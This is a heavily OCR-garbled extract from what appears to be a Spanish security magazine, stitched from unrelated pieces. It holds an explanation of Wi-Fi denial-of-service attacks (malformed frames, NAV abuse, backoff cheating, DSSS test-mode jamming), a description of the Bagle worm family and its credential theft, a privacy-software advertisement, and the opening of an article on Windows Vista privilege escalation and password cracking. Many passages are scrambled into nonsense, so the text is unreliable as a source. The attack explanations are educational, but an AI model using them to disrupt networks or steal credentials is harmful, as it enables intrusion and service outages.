sino que también proporcionaban ca-
pacidad de ser aprovechados durante
el desarrollo dé una intrusion.

En las tramas de administracion
80211 existen elementos de infor-
macion que proporcionan datos de
longitud variable. Esta longited se
incluye en la trama. Al parsear esos
campos Nos encontramos con los ti-
pices problemas de desbordamients
de buffer, ya que un atacante puede
cambiar a proposito esas longitudes
¥, i los drivers no estén comecta-
mente programados, pueden pro-
ducirse atagues DoS o de ejecucion
de codigo alternativa. Algunos de los
exploits actuales cambilan la longitud
del 55/0 o del elemento de informa-
cidn acerca de las capacidades de la
interfaz.

Otros protocolos como EAP no
son inmunes a esta deficiencia. El
atague EAP of Death consiste en
una trama malfarmada EAP ldentily
que afacta a diferentes modelos de
puntos de acceso provocando la
calda de los mismos. Tamblén axis-
ten los ataques de longitud EAP, los
cuales se pueden realizar enviando
ciertos tipos especificos de tramas
con longitudes incorrectas  que
cuelgan algunos puntos de acceso o
incluso algunos servidores RADILS.

Ataques de Portadora
Virtual y BackOff

Las redes 80211 se basan en el
mecanismo CSMAACA (ing. Carrer
Sense Mulliple Access / Collision
Avoidance). Unas de las razones
principales para su uso es debido a
que los dispositives inalambricos son
half duplex y no son capaces de as-
cuchar el medio mientras transmiten,
no pudiendo detectar asi posibles co-
lisiones. Dentre de los mecanismos
implementados para evitar colisionas
sa encuentra el mecanismo de porta-
dora virtual, método que permite es-
pecificar un iempo estimado durante

&l gue las estaciones veran el medio
ocupado ¥ no podran ewvitar esparar
antes de intentar transmitr nuevas
tramas. El proceso de transmesion sin
el mecanismo RTS/CTS activado es
como se especifica a continuacion:

* La funcién CCA (Clear Channel
Assessment) comprueba que el
medio esta libre,

*  S5ino esta libre, espera un tiem-
po aleatorio determinade por el
algoritmo de Backoff

* Siesta libre, intenta transmitir.

Dentro de ta funcion CCA, existen di-
versos métodos para determinar si el
medio estd ocupado o no, Mo vames a
antrar an detalles excesivaments bbc-
nicos al respecto, ya que existe mas
informacién en el estdndar disponible
on-ine en la pagina del IEEE (hiip:
Hwwwisee.org). Uno de los métodos
utilizados para determenar si el canal
estd ocupado es mediante el uso
de [a portadora virtual. La portadora
virtual s un mecanismo gque posee
cada estacién y que se actualiza con
la informacion que ofrecen las tramas
del resto de estaciones. Durante el
inercambio de tramas. en el estindar
80211 se definen operaciones atomi-
cas gua pueden incluir varias tramas.
Par ejpmple, cuando se envia una
trama de datos se debe reciber una
trama de acuse de recibo. Ambas tra-
mas son consideradas una operacidn
atomica y s alguna de las dos falla, se
intenta el reenvio. Bajo estas circuns-
tancias @s Necesarnc un Mecanismo
que permita evitar colisiones durante
dichas operaciones atdmicas. La
solucion adoptada es transmitirla can-
tidad de microsegundos que durard la
transmision atémica actual, para que
ol resto de estaciones sepan que du-
rante ese iempo no deben trarsmitir,
Cada vez que se reciba una trama con
infermacién, la portadora virtual de las
estaciones que la escuchen se aclua-
lizard. Debsdo a la facilidad con la que
Ia falsificacién de framas es posble en
las redes BOZ11, el lector ya puede
haber imaginado la sencillez con la
que se consigue abusar de este me-
canismo, Simplemente con el envio
de tramas falsas podemos convertir
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o funcanamsio de und fd nonral
enuncacs. Para la realizacdn de esin
atague, se puede utlizar cuaiquier tipa
o PRI Guab Pcluys ol Campo de -
TR, por smplo ks ramas de aou-
s b recibo, SN embargo B tremad

LA RSN TAnSTID Una pesciin &y
smvia RTS (ing. Reguest To Send), I
ol estmokin responds con una mma
CTE {ing Clear To Send). Todas s
RN Qb dRCuchan dchd irema
CTS achmlizandn su NAV al valor
wpecicado en esa ama, b que
permitird propagar o atague a bs es-
ASCHONES QLS MOSEEN @ |8 OlrE Satecdn,
manor oShEIo gue & o G B8
reakzase desde ura sola estacion. E|
waler mdodimo para ol NAV e8 22767, o
aprovmadaments 32 milsegundos en
redes BOZ 1B, por ko que en tBoria
ol atacarte prncipal sdlky necesita-

T lined, un atacants tamben podria
readizar un food o sobresmvio de datos
desde b red cabibads sampns que
esta sea mucho mids rpeda que la oo

dolo &8 ol gue emite constaniemanie,
formada para gque mantenga en
esiado de escucha 2 las estaciones
vichma, Mommalments en aste Bpo
una 4N previa para poder

BOZ11 para ol resto de estacionss

Atagues

en la capa fisica

Poss & todas las medidas y prolecoio-
nes gue adoptenos en las capas -
pericres, la capa fisica siempre serd
relativamente vulnerable en una red
inakimbrica. Mo hay forma de svitar s
Interferencia fisica si se conocen los
miledas o FarEMEGn ¥ & pOsEe
un squipo sdecusdo, aunqus exisien
dVErsss BCNCES que SN Mencs
SURCOpLbiER B CHIMNDS aiBcLES. Aun-
gue desde un punis de vista tednco
8% pusden clasiicar dnenscs tpos de
esto requesiria un arficulo

(L] 3 = ¥
TAMaS POF SAGUNGD DAFS CONSCUT
callir @ todis lrs estaciones.

Este tipo de atque on la prictca
no funciona como se esperara. La
razdn principal o8 gue muchas osia-
ciones na implementan carectamen-
8 ol mendonado mecanismo NAV
esablpcido en ol estindar BOZN1,
Ademdbs ded macansmo de portadona
virtual, ol estdndar 80211 incorpors
UM MSCANETG Ry Smilar @ las redes.
8023 Cumndo detects una oolsdn
o ol Candl COMG OCLPRO, SSpErd Un
tempo, Este Bempo o8 deterrinado
fi. Mo entraremos en detalle sobre la
axpicacidn de este algaritmo, pero
# LN AEcanin cOrmgue marpular o
funcioramisnts dé su imerfaz de ned,
[podkia igronar este alganima evitarda
sus retardos de acosso al medio y de
asta marsra hacer frampa para con-
seguir pricridad &n sus envios respec-
o @ ciras estecones. Esio o posible
achalmenie on algunas Brptes con
chiptsl FRISM utiizanda loa drivers
wlar-ng y aplicacones propietarias
bajo sstemas MS-Windows. S un
alacafie  ANSMte  coninLmante
saltindoss ests  algoritmo  puede
provocar gus o rendimisnto de e ned
baje contderatiamants. En esta mis-

per sl mi mismo. Asi Gue nos  Bmi-
taremos @ esbobar someraments las
camcierisicas generales y més co-
munes Los atsques de inberferencia
N B O ol Bpos. Lo ks
rabihmles dasificados, dependendo
de 5U comportamiento en el bempo.
podrian adecuane & ks siguienies
modelos. El models de interferencia
constante, donde un alacanie emils
centinuaments una sefial sin senlide
aigunc pars las victimas, infentande
penacar ruide en el canal. Otro me-

Iear los datos tansmitdos. De este
modelo comentaremos un apmplo
an BO211. También oviste o models
de interferencia aleatona, en e que
o rarsmnen sefales aleaioramanis
Lo deteccabn do los atequis de nler-
ferencia depende mucho del modelo
uthzacda. Es importante 8 medicidn
dir la calciad o |8 safial s canbcied
de tramas emitidas y recibidas ade-
s de oros IRclorss qui panTien
medr anomalas de rendimiento en
la red.

Ataque DSSS
En mayo de 2004 se reportd una
vulnerabibdad de denegaciin de
sarvicia an las redes 802.11 que ub-
lizaran la bhenica DESS (ing. Direct
Sequence Spvead Spectrum)  cel
sstdndar B0211b. La bass da esta
I ibilidad era la DENCid o
hardwane comencializade en ol que
88 propofcionaba una Tuncionalidad
de testeo que comvertia @ cualgquier
interfaz de red que lo implementara
&0 uR arma lemitle cApar de dejar
fuzra de funconamiente @ foda la
red inaldmbnoa. En reabdad, osts
willrarabilidad 1an ol aprevechs el

p
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Ataques DoS en redes WIF|

comportamiante del mecanismo de
deteccidn de canal libre, CCA que
a8 ha mencionado antenorments
en los ataques de portadora virtual,
mecanismo encargado de determi-
nar s ol canal de transmisidn estd
disponible para transmitir o no. La
funcion CCA del estdndar B02.11
soporta hasta cinco métodos de
deteccion de canal ocupado, pero
ne  entraremos en  detalle sobre
ellos. Tan solo mencionaremos que
algunos implican la medicién de
una sefial especial an el canal dén-
de =& va a transmitir, ai se delscta
dicha sefial, el medio se encuentra
ocupado y la estacidn no podrd
trangmitir. Las tarjetas con chipsel
PRISM en concreto incorporan la
primitiva PLMEDSSSTESTMODE,
que permite emviar una sehal DSSS
continua, Sl s utiliza esta primitiva,
el resto de estaciones detectardn
esta sefal, y por lo tanto todas verdn
&l medio como ocupado ¥ minguna
transmitira. Esta vulnerabilidad ne

&5 producto de un ermor en el disefio
del protocolo s:no que el problema
radica en la comercializacién de
hardware muy asequible con funcio-
nalidades que facilitan enormements
a cualquier atacant la realizacién
de este potente atague Do5.

Mo se entrard en detalle acerca
de la realizacidn de este ataque por
razones obvias ¥ BN S momento
tampoco e dieron los detalles de-
bido a su peligrosidad, pero cabe
decir que puede ser realizads utili-
rando log drivers wisn-ng mediants
los comandos pZreqg_low_level bajo
GMULinux o utilizando ciertas utili-
dades del fabricante de las propias
interfaces de red bajo sistemas M3
Windows.

Resumen

Se puede observar gue existen
muchas opciones para realizar un
ataque de denegaciin de servicio
en una red WIFI. Aun asi, algunos
de los ataques aqui expuesios son

Sobre el Autor

Asief MartineZ @3 Ingeniero superior en nformdtica. Tambien es expero en seguiidad
Vei-Fi y en sistemas de deteccidn de Intrusos y ha impartido diversas charlys sobre
estos tomas. Entre ofres proyoctos, ha realizadgo colaboraciones y adaptaciones en
proyecios libfes cormo wireshark, icpdurmg o SNort-Wwireless, Pusdes ponerte an con-
tacts con &l &n la deccidn de carred alectrdnico axierni®omail com.

muy avanzados o sélo posibles
tedricamente. Sin embargo, existen
otros que son muy sencillos ¥ que
no requisren apenas ningdn cona-
cimignto, lo cual los convierte en wun
arma doblemente paligrosa. Debido
a la diversidad de amenazas a las
qui $& enfrénta nuestra red, siempre
debaremos hacer hincapié en la ne-
cesidad de un elemento externc de
manitorizacién, como por ejemplo al-
gun tipo de sisterna de deteccién de
Infrusos para redes inalambricas, ya
e NoS va @ proporcionar a informa-
cifin necesaria para saber lo que esta
occurriendo realmante an nwestra red
¥y nos alartara ante posibles atagques
que pasarian desapercibidos de otro
modo, Estos ataques son dificiles
de evitar y coexistirdn con nosotros
durante mucho tempo. Aparte de las
tipicas medidas de seguridad como
la actualizacidn de los parches de
saguridad de los equipos, las dnicas
medidas que se pueden tomar se
gncuentran en manos de los fabri-
cantes. Por lotanto, la seguridad que
ofrezca su implementacion sera cla-
ve debido a que es posible mitigar el
afecto de muchos de estos atagues
con pequefos cambios en ka dicha
implemantaciond sin que esto afecte
al funcionamiento de la red ni a la
compatibilidad. e
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Atague

Bagle - la historia sin fin

Cristian Borghollo [

Graide de difoullad
[ X ]

Hace tres afos, el 18 de enero de 2004 el mundo se vio azolado
por una nuava epidemia de virus. En ese momento todo hacia
pensar que este era otro gusano comun y corriente a los que
estibamos tan acostumbrados, pero la historia demostrd que esta
vez era distinto y de hecho el Bagle o Beagle ha demostrado ser el
virus més persistente e inteligente desde la existencia de Internat.

tfravés de los ahos, ks auicres del
Bagle han demcstrade urae gran habi-
lidad para legrar cambies thcnicos y de
distribucidn en el cdigo del mabware. El Bagle
Na avoluCicnacs INCOTPOrands NUnvEs Momicas
de infeccitn, de reproduccian y de ingenieria
social, lo cual siempre reporculs BN UNE QrEN
fectividad on SU reproducciin ¥ cantided de -
fecciones, asl como seguraments on & benof-
e geondredd (Ncaloulabie) pars Sus sutcl
Los sutores de wsios gusanos han sabido
uilizar su cddigo para instalarse alrededor del

Esio permite asegurar a los aulores la mayor
difussdn, peio Wambidn e permite una aka
tasa de efectividad postenior a las fechas de
difurssin, vi qui @8 Mol BSLMIT U QrEN CAnS-
dad de méquinas seguirin infectadas. Es deor
que despuss de la infeccidn existe un perloda
de sprovecharyento de los benehcics & la vz
g las dh i indk 4 i lod
olvidan &l problema

En &l paricdo inicial de Baghe (18-01-2004
a 30-04-2004), sus autores estableciercn las

munda y posiericrmente utilizar esas instalacio-
g COma purto de ategue pars rusos cidigos
achalzdes ¥ con nueas funconaicdedes.

Cods una de las distinkes varsionds Qui
han aparecido es capaz de cosechar distindos
tipos de informacién, £l Baghs pusds vorss co-
PG U RN 8 rp0 BAID O SUS Sulones,
que ha resultado en un negocio rentable. Es
dacir, gun BEe Vinus S0 ha sabide poRicionar
coma un excelents producio Que permite 4 sus
creadanes datnios ipes de banehcics

Las dierentes versiones del gusanc han
smdo lanzadas on distinics perodos claves,
tales COMO IMPportanies eNcueniros. CoNcursos
de gran repercusedn, & mundial de fithol, slo.

wwres Rakind arg

fi abdades bisicas: asogurar su repro-
duccidn y evitar ser detectada,

-
En este articulo aprenderas...

B Lo ¥ o
rmakvane de ampha reparousan,

Lo Tormas e infeccidn ¥ i bicrican de peo-
pagacin del makare

Lo que deberias saber...

+  Fundamssnios de ks oddgos dsfenocs,
» Comporiamisnics el makarns,
*  Conceplos de Ingensris Socal




Troyano Bagle

] 5|

Bagke & BageB BagleC BaglkeE

Bagle G

Bagle .

Bagle U

Figura 1. lconos ulilizados por las versiones del Bagle

El siguiente periodo (aproximada-
mente & meses) se focalizaron en de-
talles como la forma de distribucion y
la apariencia de los cormeos electrdni-
cos que explotan la ingenieria social,

El periodo actual s& ha centrado
en las distintas piezas del malware
para asegurar el beneflicio posterior
a la infeccién.

Estas son las principales versio-
nes aparecidas hasta la fecha:

+ 18 de enero de 2004, Aparece
la primera versidn (Bagle A). E|
asunto del mail era v y abria la
caleuladora de Windows

* 28 de febrero al 4 de marzo 2004.
Aparecen las versiones C a K,
marcando lo que posteriorments
sefia una costumbre: lanzamiento
de mas de una versibn para evitar
la deteccién de los antivirus, Des-
de la versién J comienza la batalla
de insultos con el virus Netsky v el
intento de desinstalarlo.

+ 18y 19 de marzo de 2004, Apare-
cen las versiones Pa T que no uti-
lizan adjuntos para reproducirse,
sino que aprovechan wulnerabali-
dades de Windows ya corregidas
para propagarse,

* 7de abril de 2004. Aparece |a ver-
sidn W capaz de deshabilitar gran
cantidad de software de seguri-
dad y antivirus, ¥ de aprovecharse
de otros troyanos para realizar su
funcion de reproduccion

* 9 de agosto de 2005 Apareca la
version Bl que logrd una alta tasa
de infeccitn en pocas horas y que
descargaba gran cantidad de com-
ponentss de Internet. La cantidad
de versiones publicadas en esta
ocasidn provocd confusion de las
casas antivirus para nombrarlo.

« 21 de septiembre de 2005, Aps-
recen las versiones CK a CY lo-
grando desactivar casi cualquier
Antivirus o Firewall existents.

¢ 16 de diciembre de 2005, Apa-
reca la versidn DR logrande una
gran reproduccion y mostrando
imagenes de Windows.

*  15de febrero de 2006, Aparece
la version FF aprovechando los
juegos de invierno de Torino.

+ 16 de junio de 2006. Aparece la
version GK aprovechando el mun-
dial de ftbal y logrando repraduc-
iGN Masiva en apenas una hora

* (1 de diciembre de 2006. Apare-
ce |a version HB utilizando mass-
mailer para realizar SPAM.

+ 24 de enero de 2007. Aparece
la version NAJ con nuevas ex-
tensiones en sus adjuntos y con
posibilidades de reproduccién en
mayor cantidad de redes P2P.

Nota: las versiones indicadas pue-
den variar dependiendo de la empre-
sa antivirus.

Descripcion

Bagle es un gusano escrito en dis-
tintos lenguajes de programacidn
(segdn la version puede ser C o Ass-
ambler), comprimide yfo cifrado con
distintas herramientas, residenta en
memofia, ¥ Que s& propaga a través
del correo electrdnico y redes P2P.
Si llega por mail, tena un asunto
que varia con cada versidn, su re-
mitente siempre es falso y contiene
aduntos. Este gusano es capaz de
actualizarse desde diferentes sitios
de Internet y de desactivar cualguler
programa de seguridad instalado.

Si blen a través de sus cientos
de versiones, el mismo ha ido cam-
biando la forma de beneficiarse,
sus funcionalidades pueden resu-
mirse en:

+« Envio de SPAM: su principal me-
dio de distribucidn,

* Robo de direcciones de cormeo
electrénico: le permite realizar

ataques de Phishing y favorecer
el SPAM, asi como la venta, por
parte de sus autores de las direc-
ciones obtenidas,

* Robo de informacion confiden-
cial: su principal beneficio,

* Instalacion de Backdoors: le per-
mite establecer futuros puntos
bases de ataques.

La informacion que las distintas
versiones recolectan a través de sus
componentes es.

* |P, NAT, Nombre de la computa-
dora infectada y su dominio,

*  Mombres de usuario y contrase-
fia de POP3MIMAP

*  Usuarios grabados por el nave-
gador,

*  Configuracidn de cuentas FTP,
navegadores web y clientes de
correo,

+ Contrasefias de administradores
de passwords,

*  Usuario y contrasefa de mensa-
jeros instantaneos,

*  Usuario y contrasefias de dispo-
sitivos RAS,

¢ Usuario y contrasefias de sitios
de Home-Banking,

* Hashing de contraseflas.

Gracias a sus mdltiples funcionalida-
des es capaz de realizar las siguien-
tes tareas

*  |nstalacidn de troyancs y backdoors
que parmiten el control remoto de
las maquinas infectadas v la crea-
cion de redes de bols (zombies),

*  Manipulacidn de DNS y archivos
de host del sistema,

Figura 2. Texto cifrado en una
version de Bagle
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Ataque

Auto-actualizacidn y descarga de
otros malware como el troyano
Mitglieder,

Inyeccion de distintas funcionali-
dades del sistemna operativo,
Finalizacion de procesos y ser-
vicios de aplicaciones de segu-
ridad (Antivirus, Firewalls, IDS) ¥
del sistema operativo,
Residencia en memaria,

Cambio de iconos de sus adjun-
tos para pasar desapercibido. A
continuacion se muestran algu-
nos ejemplos (Figura 1),
Utilizacién de ingenieria social
en el cuerpo y asunto del men-
saje,

Generacidn de nombres de archi-
vos aleatorios (o conocidos por el
usuario) para facilitar el engafio,
Generacion de |D para cada com-
putadora infectada,

Catalogaciéon de equipos infecta-

Rapida modificacion de su codi-
go que obliga a los Antivirus a su
actualizacién excepto a aquelios
que lo detectan con capacidades
preactivas (utilizando heuristica),
Explotacién de wulnerabilidades
solucionadas o sin solucion asi
como 0-days,

Capturas ¥ envid de pantallas,
Capturas de teclas,
Auto-caducidad luego de un pe-
riode de tiermpo,

Recoleccién y robo de contrase-
fias para muchas aplicaciones
Falsificar direcciones de mails de
origen (e-mail spoofing),

Motor propio de envio de correo
(SMTP),

Conexién a sitios remotos para
la realizacion de distintas accio-
nes,

Encriptacion y compresidn de
distintas partes de su codigo me-

dos, diante diferentes tcnicas,
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Figura 3. Texfo cifrado en una versidn de Bagle
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¢ Aprovechamiento de las botnefs
creadas mediante su componen-
o Ao hn.r'ln'fnnf

« Evita actualizaciones de progra-
mas de seguridad,

= Evita el envio de correos electrd-
nicos a empresas de seguridad,

+ Prevencidn contra atagues de
otros mabware comao NetSky

Este (iimo punio, también es original
en nuestra histora, ya que en el afio
2004 se desatd una guerra entre los
creadores da varias versiones de los
gusanos Netsky, Bagle y MyDoom
exacerbando alin mas sus devastado-
res efectos. En esa época era comun
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{Total vinus count progress)
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Figura 4. Cantidad de infecciones
detectadas en cuatro horas




Troyano Bagle

encontrar en el codigo fuente mensa-
es cruzades, en los que se podian lear
insultes, amenazasy descalificacones
mutuas. Esta guerra fue curosa, por-
que s un usuanio estaba infectado con
Bagle, Mydoom, Deadhat o Nechr (au-
tores que se presuma relacionados), ¥
luego era infectade con una versidn
particular de Metsky, este gusano se
encargaba de desinsfalar los primernos.
A confiruacion se muestra un texto
que permanece cifrado en una de sus
versiones (puede leerse ol mensape
Anti-NetSky) — Figura 2. Esta batalla
finalizé con el armesto del Sven Jas-
chen, el supuesto Robin Hood de los
virus y creador de al menos 30 versio-
nes de NetSky y 4 de Sasser.

La Familia

Como ya se menciond, Bagle sa vale
de diferentes componentes para reali-
zar sus tareas. Los programas (an su
mayoria ofros malware) de los que se
vale para realizar sus funciones son:

Gusano Bagle

Propiamente dicho: es el encargado
de instalar los otros componentes,
llevar registre de lo realizade, elimi-
nar competidores, controlar las redes
de bots y mantenerse actualizado
desde distintos sitios de Internet.

Mitglieder/Beagooz
Troyano encargado de realizar el en-
vio masive de mail, vulnerar todo el

software de seguridad, robar datos y
actualizar el gusano.

ToosolTango

Troyano que vulnera y desactiva los
componentes de seguridad del sis-
tema y deliene procesos y servicios
de actualizacidn de software. Ambos
pusden ser detectados como varan-
tes de Bagle.

Lodear/Lodeight

Troyanos desarmollados para buscar,
oblener y actualizar distintos miem-
bros de la familia desde Internet
Pueden ser detectados come varian-
tes de Bagle

Monikey

Gusano desarrollado para facilitar la
propagacion mediante el envio masi-
vo de correo y la utilizacion de redes
P2P. También puede ser detectado
coma variante de Bagle,

LDPinch, Tarno y Vipgsm
Permiten el robo de contrasefas de
distintos programas.

Formglieder
Utilizade para obtener informacién
confidencial como datos bancarios
y financieros, Puede ser detectado
coma variante de Bagle,

Esta familia ha permanecido
muy unida a través de las distintas
versiones de Bagle, permitiendo

que uno de ellos actualice otros y
estos a su vez descarguen nuevas
VErsiones.

Por ejempla Bagle BK descarga
Tooso.E y Tooso.F y este dlitimo a
su vez aclualiza Bagle a su nueva
version Bagle BN Nofa: los nombres
indicados pueden variar dependien-
do de la empresa antivirus

Descripcidn

A continuacién se detalla la forma de
funcicnamiento del mismao, teniendo
en cuenta que pueden variar segin
la version del gusano.

*+ Llega un mail haciendo uso de
alguna técnica de ingenieria so-
cial y generalmente tratando un
tema de gran repercusion o inte-
rés; o bien el usuario descarga un
archivo infectado por redes P2P.

* El usuaric descarga el mail y
ejecuta su adjunto, infectando
el sisterna con varios de los co-
digos dafiinos mencionades, los
cuales comenzardn a cumplir sus
funciones (robo de informacidn,
actualizacién, desactivacidn de
herramientas de seguridad, etc).

* Uno de los troyanos. integrante
ce la familia, descarga otros
companentes del gusano que se
instalan en el sislema mediante
diferentes técnicas seglin la
versién (por eemplo en carpetas
compartidas o recursos de P2F).

Thu, 15 Jun 2666 28:83:21 0006
i Tha, 19 Jun 20988 19:21:25 -8100
s onlsfophlrood .co.il>
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Figura 5. Trafico de red interceptando un correo infectado
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* 58 e@culs 8 segundo progra-
ma descangado autsmatcamen-
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VIP PRIVACY

La cuesti6n de la proteccién de la privacidad es hoy mas importante que nunca.,
Los delincuentes cazan a los usuarios para conseguir su informacion personal,
inventando nuevas formas de robarla.

Puedes pensar que no pasa nada malo al dar
tan inocente informacidn como tu direccién e-mail,
par ejemplo, bueno, debes reconsiderario. A partir
de algunos bas de informacidn los delincuentes
Siefmpre Son capaces de buscar mas y encontrar
una forma de entrar enlu sistema y pescar algunos
datos que tw jni sablas que existian!

A continuacidn se muestran algunos ejemplos
de cdmo tus datos personales pueden ser emplea-
dos para usos fraudulentos. Los spammers [bom-
barderos] emplean tu agenda de direcciones para
envviar irritante corred no deseado tanto a ti coma
a tws conocidos. Los phishers se sirve de alguna
mascarada como si fueran auténticas personas
u hombres ce negn-cio y e erian un Coreg
aparernernente oficial tratando de corsepuir los
detalles de tu cuenta bancaria o el cidigo pin de
tu tarjeta de crédno, Los hackers emplearin tw
nombre de usuaro y contrasena para robar tw ird-
fico de Internet o enviar exploits a tu sistema y, asi
ComMETTir w ardenador ¢n Su pombi, ;Mo te gusara
ser victima de ellos, verdad?

El problema principal &5 que la mayaria de
wsuanios no sospechan incluso que puedan haber
sido limpiados de manera 1an maliciesa. 5on bas-
tante ingensos coma para pensar que su infarma-
cidn personal estd perfectamente asegurada sin
emplear ninguna medida adicional,

Fera, por favar, ten en cuema lo siguiente, Tu
informacidn personal y privada puede ser peligro-
sa, cuando:

¢ has usado cualguier servicio Weky

*  has rellenado cualquier formulario de registro
en linea;

o hasusada cualquier servicio de mensajedia en
linea.

Esto efectivamente signilica que 1& encuen-
tras en el grupo de riesgo mientras tu ordenador
estd conectado a Imemet, (Lo puede ser casi cada
und de nosotros!

Pues, la que necesitas ahora es encantrar la
forma dearreglar este prablema, S& escribienonmy-

salesEvipdefense.com

el Sistema Operativo y las aplicaciones. En vez de
hacer w vida mas ficil, el almacenamients de w
Infarmackin privada solo puede peovocarte poten-
ciales problemas.

Ahora bien, ; no crees que deberias se el UNICD
gue decide si guieres o no compartir tus dates?
Buera, jexactamente! ;Debesia depender de ti de-
terminar quicn debe saber de 1i! Ames que nada,
jes TU informacidn!

Pues, definimos el problema y sabemos que
guieres solucionario., La pregurta es cdma,

La respuesta es - VIP Frivacy

VIF Frivacy es una herramiema que 1e deja
buscar y limplar de forma sepura todo tipe de
irformacin almacenada en tu sistema, Esto de
nirguna forma elimina tus archivos privades ni
carmnbia el contenida de los docurmentos que tienes
en el ordenadar. Tan salo e b informacion recogsda
por las diferentes aplicaciones la gue era eliminada
sin influir en &l rendimignto de tu sistema y de tus
aplicaciones.

VIF privacy reconoce mds de 700 aplicaciones
y unas miles de fahas del sistema que guardan

y guardar informacidn de ti y de W sistema estdn
destingdos pard ayudarte, a veces se convierien
en U peer enemigo. Hay muchos delincuentes que
tratan de aprovecharse de los fallos de tu sistema
para robar tu informacién personal guardada por

Fublicidad

g danos personabes y que pusden ser empbeadas
por los delincuentes, VIP privacy te ofrecerd una
detallada descripcidn de cada fala de prvacidad
encontrada en tu sistema. El proceso de blsqueda
y eliminacidn &5 complétamente ajustable a las ne-
cesidades individuales, por lo que siempre tienes el
control completo de la situacitn,

Asi VIP Privacy es una perfecta forma de de-
fenderte de las maliciosas acciones realizadas por
log hackers, spyware, troyancs etc. jMadie robard
nunca lo que td ya md tienss!

Funciones clives

¢  Busgueda y opciones de limpeeza completa-
mente apstable a las necesidades individuales
para eliminar de forma segura tus datos privados
de ukuano;

*  Modo pdnico para una répida y facil elimina-
cidn de datos pasoe a paso;

- Prngrammm automanco del sistema de depu-
raciin facil de emiplear;

* Indicacidn del nivel actual de privacidad para
evaluacidn;

o Exportacién a un archiva de teas para w futs
ra referenciy,
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Escalando Privilegios
en Windows Vista

Wictor Lépez Judrez [

Graide de difoullad
[ ]

Maguiavelo dijo una vez: El fin justifica los medios. El administrador
del sistema confia en ¢l uso de contrasefias de Iniclo de sesién que
s¢ almacenan mediante una serie de mecanismaos cuya seguridad
es cuestionable. Y al mismo tiempo, desconoce la relativa facilidad
con la que un atacante podria evadir esas contrasefias e Iniciar
sasion en el sistoma con todos los privilegios,

ko obtencidn de una cuenta de adminis-
tracién del sisterna por parte del wsua-
rin que Bore restringido ol scceso a este Hpo
de cuentas. Con la escalada de privilgos se
logra obtener las funciones propias de un ad-
ministrador ded sistema sin serlo criginalments,
de esta manera el atacante obbene control
total del sistema
En Windows Vista s ha implementads lo
ek 58 denamana Control ce Cusnitas de Lisus-
rio, Bisicaments, es un gestor de permisos y
prvilegios qui divide & ke usudnics del sEslems
on dos grupos: Estandar y Administradones
Inicialernente, todo wsuario del sisterna inicia
SRR Con Privlegios HStandar, incpncen-
temerie de sl es ol proplo admiristrador o un
usuang rmetada. La dderencza ente ambos
usLanos o8 basiante clara asi que no haria
falta explicaria. Al momento dé Racer taeas
propias de un administrador, comoe instalar
programas o geelionar la conSguraciin dal
sisiema, Windows Vista interrupe el flujc de
OpEraciones @ traves de dcho control para
alortar sobre ol use de privilegios NOCERATOS
¥ nequenit s fia el ad dradar dal
equipo.

E | ermino escalar privilegios se refiene a

www, Bakind, arg

En muchas ocasiones, la distancia que
SEpETE @ UN uSuaio restingido de un uluao
con privilegios de administrador e simplemen-
e una contrasefia. Ese es uno de los motivos
principales por los que existen varios progra-
mas ospeciicos para obtener dichas contra-
sefias. 5i bien la obiloncion de la contrasefia
de administradaor es un metodo efective para
escalar privilegios, también es posbie iniciar ¢l
eoupo dadde un ive CD y modScar o sbrmnar
dicha contrasefa y establecer ura nueva con

En este articulo aprenderas...

. A car @l brits de A el gu-
[ wictima
A escalir privilegics por medio de varos meds-
dos

A Prolegeris contia el Bpo de SMEnaze.

Lo que deberias saber...

+  Concepios bdsicos scerca del cracking de con=
racasfiae

 Maraio do las dversas varsicnas de Windows

+  Concepios genarabes o criptografis
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Figura 1. Configuracidn de Syskey

la que se obtendra acceso total al
sistermna come el mencionada usua-
rio administradaor.

La practica que s& realizara en
este articulo se centrara en la esca-
lada de privilegios y en la obtancidn
de acceso a la cuenta de administra-
dor del sisterna como un USUano res-
tringido. Para conseguirlo, haremos
usc de una tBcnica en partoular,
es0 s, sin dejar de hacer referencia
a las habilidades y dificultades que
presenta el uso de otros metodos,
cuyos fines son también la obtencién
de privilegios de administrador.

Uso de contraseiias

en sistemas Windows

El uso de contrasefias en los siste-
mas operativos de la familia Windows
s& implementd desde sus primeras
versiones con el fin de proteger las
distintas cuentas de usvario. Sin
embargo, existan alternativas para el
uso de dichas confrasefias tales co-

Tabla 1. FPoliticas sobre el uso de contrasefias seguras

[Eambios periSaicos de contrasena G

Asignacion de caracteres aleatonos a la conftrasefa.

Eﬁlizar alternativas de software para el tacladu_

Usar llaves de autenticacion.

[Establecer politicas para el uso de contrasenas seguras. |

Wdmero minimo de caracteres por contrasefia

mo tarjetas inteligentes o proteccio-
nes biométricas, como por ejemplo,
el reconocimients de impresiones
digitales, reconocimiento del irs ocu-
lar, tokens de seguridad, etc.

La autenticacion convencional
a través de contrasefias seguird
usandose en empresas y hogares
debide a su sencillez de uso y pa-
ralelamente, al gasto econdmico
que conllevaria la implementacién
de oftra politica de seguridad mds
avanzada,

El uso de contrasefias seguras
y las poliicas que sustentan sus
principios son imprescindibles pa-
ra cualguier usuaric del sistema.
Aungue las reglas para establecer
contrasefias seguras se onenten
hacia soluciones logicas (Tabla 1),
la implementacién de las mismas
5@ realiza con poca frecuencia. For
el contrarie, el uso de contrasefas
potencialmente inseguras basadas
en nombres propios, de la pareja,
mascotas, fechas de nacimiento,
pasatiempos, nimercs de matricu-
la, etc., son muy frecuentes, vy su
aplicacion solo incrementa las posi-
bilidades de éxito de adivinar dichas
contrasefias.

El uso de contrasefias esta
presente en casi cualquier sistema,
correo elecironico, cajero automati-
co, documento, etc. Con el requeri-
miento cada vez mayor del uso de
contrasefias se vuelve complicado
recondar vanas, mas aun cuando
utilizamos algunas dificiles de adivi-
nar. Es por ello que comunmente las
personas utilizan contrasefas de po-
ca o nula seguridad pero faciles de
recardar en cualguier momento.

La barrera que separa a cualquier
usuario de su informacidn personal
es muchas veces una confrasefa.
Un estudio del departamento de psi-
cologia de la Universidad del estado
de Wichita sobre el uso de contra-
sefias en Internet demuestra que a
pesar del conocimiento de los ries-
gos de usar contrasefas inseguras,
la mayoria de usuarios las prefieren,
primordialmente  por comodidad,
menospreciando las posibilidades
de ataque a las que podrian estar
expuestos.

El uso de contrasefas en los
sistemas informaticos ha jugado un
papel primordial como medida de
seguridad de proteccién a los usua-
rios y a la informacion sensible como
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Figura 2. Ubicacidn del SAM en Windows Vista
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bases de datos, historiales médicos,
cuentas bancanas, saguros sociales
etc. 5in embargo, las tendencias en
el uso de contrasefias demuesiran
unma falta de aplicacidn de técnicas
saguras en la mayoria de los casos.

